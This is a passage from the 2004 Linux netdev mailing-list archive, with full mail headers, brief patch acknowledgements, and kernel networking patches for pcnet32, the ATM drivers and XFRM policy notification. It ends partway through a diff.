kmem_cache_create() failure Message-Id: <20040223151235.796d748b.davem@redhat.com> In-Reply-To: <20040223133635.68099d7f.rddunlap@osdl.org> References: <20040223133635.68099d7f.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3532 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:36:35 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: (Walter Harms) ... > linux-263-kj1-rddunlap/net/ipv4/inetpeer.c | 3 +++ > 1 files changed, 3 insertions(+) Applied, thanks. From davem@redhat.com Mon Feb 23 15:13:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:13:14 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNDAKO015056 for ; Mon, 23 Feb 2004 15:13:11 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NND9b30156; Mon, 23 Feb 2004 18:13:09 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NND8i28094; Mon, 23 Feb 2004 18:13:08 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NND6kC027108; Mon, 23 Feb 2004 18:13:06 -0500 Date: Mon, 23 Feb 2004 15:13:07 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] ipv4 ipmr: handle kmem_cache_create() failure Message-Id: <20040223151307.5c65c2e0.davem@redhat.com> In-Reply-To: <20040223133651.75c85ea2.rddunlap@osdl.org> References: <20040223133651.75c85ea2.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3533 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:36:51 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: (Walter Harms) ... > linux-263-kj1-rddunlap/net/ipv4/ipmr.c | 3 +++ > 1 files changed, 3 insertions(+) Applied, thanks. From davem@redhat.com Mon Feb 23 15:14:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:14:09 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNE5KO015584 for ; Mon, 23 Feb 2004 15:14:06 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNE4b30616; Mon, 23 Feb 2004 18:14:04 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNE4i28405; Mon, 23 Feb 2004 18:14:04 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NNE2kC027494; Mon, 23 Feb 2004 18:14:02 -0500 Date: Mon, 23 Feb 2004 15:14:03 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] ipv6 fib: handle kmem_cache_create() failure Message-Id: <20040223151403.0516694d.davem@redhat.com> In-Reply-To: <20040223133702.34ba5b05.rddunlap@osdl.org> References: <20040223133702.34ba5b05.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3534 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:37:02 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: (Walter Harms) ... > linux-263-kj1-rddunlap/net/ipv6/ip6_fib.c | 2 ++ > 1 files changed, 2 insertions(+) Applied, thanks. From davem@redhat.com Mon Feb 23 15:14:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:14:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNEbKO015903 for ; Mon, 23 Feb 2004 15:14:37 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNEZb30729; Mon, 23 Feb 2004 18:14:35 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNEZi28506; Mon, 23 Feb 2004 18:14:35 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NNEXkC027786; Mon, 23 Feb 2004 18:14:33 -0500 Date: Mon, 23 Feb 2004 15:14:34 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] ipv6 route: handle kmem_cache_create() failure Message-Id: <20040223151434.418900e2.davem@redhat.com> In-Reply-To: <20040223133711.11bf677a.rddunlap@osdl.org> References: <20040223133711.11bf677a.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3535 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:37:11 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: (Walter Harms) ... > linux-263-kj1-rddunlap/net/ipv6/route.c | 3 +++ > 1 files changed, 3 insertions(+) Applied, thanks. From davem@redhat.com Mon Feb 23 15:15:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:16:02 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNFsKO016426 for ; Mon, 23 Feb 2004 15:15:54 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNFqb31075; Mon, 23 Feb 2004 18:15:52 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNFqi28746; Mon, 23 Feb 2004 18:15:52 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NNFokC028179; Mon, 23 Feb 2004 18:15:50 -0500 Date: Mon, 23 Feb 2004 15:15:51 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] pppoe: handle !PROC_FS Message-Id: <20040223151551.484ba0d5.davem@redhat.com> In-Reply-To: <20040223134050.43d604d3.rddunlap@osdl.org> References: <20040223134050.43d604d3.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3536 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:40:50 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: Luiz Fernando Capitulino ... > diff -Nru linux-2.6.2/drivers/net/pppoe.c linux-2.6.2~/drivers/net/pppoe.c Applied, thanks. From davem@redhat.com Mon Feb 23 15:16:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:16:51 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNGlKO016647 for ; Mon, 23 Feb 2004 15:16:47 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNGhb31250; Mon, 23 Feb 2004 18:16:43 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1NNGhi28945; Mon, 23 Feb 2004 18:16:43 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1NNGfkC028399; Mon, 23 Feb 2004 18:16:41 -0500 Date: Mon, 23 Feb 2004 15:16:42 -0800 From: "David S. Miller" To: "Randy.Dunlap" Cc: netdev@oss.sgi.com Subject: Re: [janitor] pppoe: remove unneeded ifdef/endif Message-Id: <20040223151642.6b76944a.davem@redhat.com> In-Reply-To: <20040223134207.656a5213.rddunlap@osdl.org> References: <20040223134207.656a5213.rddunlap@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3537 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 13:42:07 -0800 "Randy.Dunlap" wrote: > Please apply to 2.6.3-current. ... > From: Luiz Fernando Capitulino ... > diff -X dontdiff -Nru linux-2.6.2-rc2-bk2/drivers/net/pppoe.c linux-2.6.2-rc2-bk2~/drivers/net/pppoe.c Applied, thanks. From jgarzik@pobox.com Mon Feb 23 15:46:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 15:46:36 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NNkUKO017575 for ; Mon, 23 Feb 2004 15:46:31 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:32888 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AvPmP-0000Rr-5u; Mon, 23 Feb 2004 23:46:29 +0000 Message-ID: <403A90C9.2020009@pobox.com> Date: Mon, 23 Feb 2004 18:46:17 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: netdev@oss.sgi.com Subject: Re: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in lasi_82596.c References: <20040222183504.GA28040@lst.de> In-Reply-To: <20040222183504.GA28040@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3538 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev I'll look through these. Please CC drivers/net/* patches to me. Jeff From chas@cmf.nrl.navy.mil Mon Feb 23 17:19:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 17:19:32 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1O1JSKO023397 for ; Mon, 23 Feb 2004 17:19:28 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1O1JCg5028269; Mon, 23 Feb 2004 20:19:12 -0500 (EST) Message-Id: <200402240119.i1O1JCg5028269@ginger.cmf.nrl.navy.mil> To: davem@redhat.com, "Randy.Dunlap" cc: netdev@oss.sgi.com Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH] horizon: make reset function not __init In-reply-to: Your message of "Thu, 19 Feb 2004 15:49:41 PST." <20040219154941.0d0f5a7a.rddunlap@osdl.org> Date: Mon, 23 Feb 2004 20:19:13 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=-0.3 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3539 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1551 -> 1.1552 # drivers/atm/horizon.c 1.14 -> 1.15 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/23 chas@relax.cmf.nrl.navy.mil 1.1552 # [ATM]: horizon: make reset function not __init (from Randy Dunlap ) # -------------------------------------------- # diff -Nru a/drivers/atm/horizon.c b/drivers/atm/horizon.c --- a/drivers/atm/horizon.c Mon Feb 23 20:10:49 2004 +++ b/drivers/atm/horizon.c Mon Feb 23 20:10:49 2004 @@ -1802,7 +1802,7 @@ /********** reset a card **********/ -static void __init hrz_reset (const hrz_dev * dev) { +static void hrz_reset (const hrz_dev * dev) { u32 control_0_reg = rd_regl (dev, CONTROL_0_REG); // why not set RESET_HORIZON to one and wait for the card to From chas@cmf.nrl.navy.mil Mon Feb 23 17:22:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 17:22:20 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1O1MGKO023847 for ; Mon, 23 Feb 2004 17:22:17 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1O1M8g5028294; Mon, 23 Feb 2004 20:22:09 -0500 (EST) Message-Id: <200402240122.i1O1M8g5028294@ginger.cmf.nrl.navy.mil> To: davem@redhat.com, Francois Romieu Cc: netdev@oss.sgi.com Subject: [ATM]: use clip_tbl instead of clp_tbl_hook (from Francois Romieu ) In-reply-to: Your message of "Fri, 06 Feb 2004 23:13:09 +0100." <20040206231309.A26646@electric-eye.fr.zoreil.com> Date: Mon, 23 Feb 2004 20:22:09 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=-0.3 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3540 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.6 --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1552 -> 1.1553 # net/atm/clip.c 1.31 -> 1.32 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/23 chas@relax.cmf.nrl.navy.mil 1.1553 # [ATM]: use clip_tbl instead of clp_tbl_hook (from Francois Romieu ) # -------------------------------------------- # diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Mon Feb 23 20:11:20 2004 +++ b/net/atm/clip.c Mon Feb 23 20:11:20 2004 @@ -899,7 +899,7 @@ if (v) goto done; } - state->n = clip_tbl_hook->hash_buckets[state->bucket + 1]; + state->n = clip_tbl.hash_buckets[state->bucket + 1]; } done: return v; @@ -910,18 +910,12 @@ struct arp_state *state = seq->private; void *ret = (void *)1; - if (!clip_tbl_hook) { - state->bucket = -1; - goto out; - } - - read_lock_bh(&clip_tbl_hook->lock); + read_lock_bh(&clip_tbl.lock); state->bucket = 0; - state->n = clip_tbl_hook->hash_buckets[0]; + state->n = clip_tbl.hash_buckets[0]; state->vcc = (void *)1; if (*pos) ret = arp_get_idx(state, *pos); -out: return ret; } @@ -930,7 +924,7 @@ struct arp_state *state = seq->private; if (state->bucket != -1) - read_unlock_bh(&clip_tbl_hook->lock); + read_unlock_bh(&clip_tbl.lock); } static void *arp_seq_next(struct seq_file *seq, void *v, loff_t *pos) From jt@bougret.hpl.hp.com Mon Feb 23 17:44:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 17:44:07 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1O1hpKO024867 for ; Mon, 23 Feb 2004 17:43:51 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id BA2761C025D3; Mon, 23 Feb 2004 17:10:18 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id RAA27522; Mon, 23 Feb 2004 17:10:18 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AvR5W-0004xL-00; Mon, 23 Feb 2004 17:10:18 -0800 Date: Mon, 23 Feb 2004 17:10:18 -0800 To: netdev@oss.sgi.com Cc: Jeff Garzik , "David S. Miller" , David Hinds , Stephen Hemminger Subject: RFC: network device management doc draft Message-ID: <20040224011018.GA18818@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3541 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Hi, I'm currently working on a documentation on how to manage network interfaces. This is the result of my migration away from the old Pcmcia scripts. Nothing earth shattering, but the combination of various existing stuff, how to make them work together, and how to handle any weird network card configuration. I value feedback and comments. Before exposing this to average users, I would like to make sure that the "gurus" nit-pick my stuff. I'm especially interested in any scenario I might have overlooked where those techniques would fail. The document is at : http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/WIRELESS-HOTPLUG.txt Thanks in advance... Jean From tmus@tmus.dk Mon Feb 23 21:31:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 21:31:48 -0800 (PST) Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1O5VhKO003280 for ; Mon, 23 Feb 2004 21:31:44 -0800 Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 672B7F8137; Tue, 24 Feb 2004 06:31:57 +0100 (CET) Message-ID: <403AE1BC.2090707@tmus.dk> Date: Tue, 24 Feb 2004 06:31:40 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en, da MIME-Version: 1.0 Cc: Don Fry , netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c fix link reporting for non-mii devices References: <200402202232.i1KMWqD07369@DYN318364BLD.beaverton.ibm.com> <4037D42C.4030909@tmus.dk> In-Reply-To: <4037D42C.4030909@tmus.dk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3542 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Thomas Munck Steenholdt wrote: > Hi again! > > Decided to do some research and get this thing implemented right! > I've created a new patch against the 2.6.3-bk3 version of pcnet32.c > > What this patch does is that in the event that mii is not supported, > link status is read directly from device's lnktst bcr register. > > Works without any problem with the virtual nic under vmware. So if all > the other non-mii pcnet32 devices have the link status register in the > same place, things should be just fine! > > Could you please test this and let me know what you think? > > Best regards > > Thomas > > > ------------------------------------------------------------------------ > > --- drivers/net/pcnet32.c.tmus 2004-02-19 15:24:31.238513096 +0100 > +++ drivers/net/pcnet32.c 2004-02-19 15:27:28.265600888 +0100 > @@ -1644,7 +1644,9 @@ > case ETHTOOL_GLINK: { > struct ethtool_value edata = {ETHTOOL_GLINK}; > spin_lock_irq(&lp->lock); > - edata.data = mii_link_ok(&lp->mii_if); > + if(lp->mii) edata.data = mii_link_ok(&lp->mii_if); > + /* read the LNKTST BCR register for link status on non-mii capable devices */ > + else edata.data = (lp->a.read_bcr(ioaddr,4) != 0xc0); > spin_unlock_irq(&lp->lock); > if (copy_to_user(useraddr, &edata, sizeof(edata))) > return -EFAULT; Hi there If this is a repost, then i'm sorry! I didn't get it myself! I'd like to make sure we get this patched in the pcnet32 driver! If you'll need me to do the patch for another version of the pcnet32.c file, let me know! Best regards Thomas From tmus@tmus.dk Mon Feb 23 21:34:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 21:34:15 -0800 (PST) Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1O5YAKO003594 for ; Mon, 23 Feb 2004 21:34:11 -0800 Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 02766F8137; Tue, 24 Feb 2004 06:34:25 +0100 (CET) Message-ID: <403AE24F.1020402@tmus.dk> Date: Tue, 24 Feb 2004 06:34:07 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en, da MIME-Version: 1.0 Cc: Don Fry , netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c fix link reporting for non-mii devices References: <200402202232.i1KMWqD07369@DYN318364BLD.beaverton.ibm.com> <4037D42C.4030909@tmus.dk> <403AE1BC.2090707@tmus.dk> In-Reply-To: <403AE1BC.2090707@tmus.dk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3543 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Thomas Munck Steenholdt wrote: > > > Hi there > > If this is a repost, then i'm sorry! I didn't get it myself! > > I'd like to make sure we get this patched in the pcnet32 driver! > > If you'll need me to do the patch for another version of the pcnet32.c > file, let me know! > > Best regards > > Thomas Oh, and if I should submit the patch somewhere else to get it in, please let me know where/how to submit! Thomas From mludvig@suse.cz Tue Feb 24 01:52:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 01:52:27 -0800 (PST) Received: from kerberos.suse.cz (ns.suse.cz [82.208.2.84]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1O9qCKO011928 for ; Tue, 24 Feb 2004 01:52:13 -0800 Received: from chimera.suse.cz (chimera.suse.cz [10.20.0.2]) by kerberos.suse.cz (****** SuSE CR *******) with ESMTP id 265D74FB80 for ; Tue, 24 Feb 2004 10:09:52 +0100 (MET) Received: by chimera.suse.cz (Postfix, from userid 503) id CDE254FAA; Tue, 24 Feb 2004 10:09:51 +0100 (CET) Received: from suse.cz (ozzy.suse.cz [10.20.1.72]) by chimera.suse.cz (Postfix) with ESMTP id 88D844538; Tue, 24 Feb 2004 10:09:50 +0100 (CET) Message-ID: <403B14DA.3000700@suse.cz> Date: Tue, 24 Feb 2004 10:09:46 +0100 From: Michal Ludvig Organization: SuSE CR, s.r.o. User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: cs, cz, en MIME-Version: 1.0 To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] XFRM policy expire Content-Type: multipart/mixed; boundary="------------020103020704050801010406" X-DCC-sonic.net-Metrics: chimera 1117; Body=1 Fuz1=1 Fuz2=1 X-archive-position: 3544 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mludvig@suse.cz Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------020103020704050801010406 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, the attached patch fixes a bug in xfrm_send_policy_notify(). The space allocated in skb must include 'sizeof(struct xfrm_user_polexpire)', not 'sizeof(struct xfrm_userpolicy_info)' which is shorter. On ia32 it worked, probably because of some space gained from aligning. Unfortunately on amd64 it didn't and finally led to BUG() & kernel hangup. Please apply. BTW The second patch attached does some obvious cleanup: replaces RTA_ALIGN(RTA_LENGTH(x)) with RTA_SPACE(x) and ditto for NLMSG_*() macros. Apply on top of the first one or drop it. It's up to you. Michal Ludvig -- SUSE Labs mludvig@suse.cz | Cray is the only computer (+420) 296.545.373 http://www.suse.cz | that runs an endless loop Personal homepage http://www.logix.cz/michal | in just four hours. --------------020103020704050801010406 Content-Type: text/plain; name="kernel-xfrm-polexpire.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="kernel-xfrm-polexpire.diff" diff -rup linux-2.6.2.vanilla/net/xfrm/xfrm_user.c linux-2.6.2/net/xfrm/xfrm_user.c --- linux-2.6.2.vanilla/net/xfrm/xfrm_user.c 2004-02-04 04:43:56.000000000 +0100 +++ linux-2.6.2/net/xfrm/xfrm_user.c 2004-02-24 09:47:42.325888560 +0100 @@ -1153,7 +1153,7 @@ static int xfrm_send_policy_notify(struc len = sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr; len = RTA_ALIGN(RTA_LENGTH(len)); - len += NLMSG_ALIGN(NLMSG_LENGTH(sizeof(struct xfrm_userpolicy_info))); + len += NLMSG_ALIGN(NLMSG_LENGTH(sizeof(struct xfrm_user_polexpire))); skb = alloc_skb(len, GFP_ATOMIC); if (skb == NULL) return -ENOMEM; --------------020103020704050801010406 Content-Type: text/plain; name="kernel-xfrm-cleanup.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="kernel-xfrm-cleanup.diff" diff -rup linux-2.6.2.vanilla/net/xfrm/xfrm_user.c linux-2.6.2/net/xfrm/xfrm_user.c --- linux-2.6.2.vanilla/net/xfrm/xfrm_user.c 2004-02-04 04:43:56.000000000 +0100 +++ 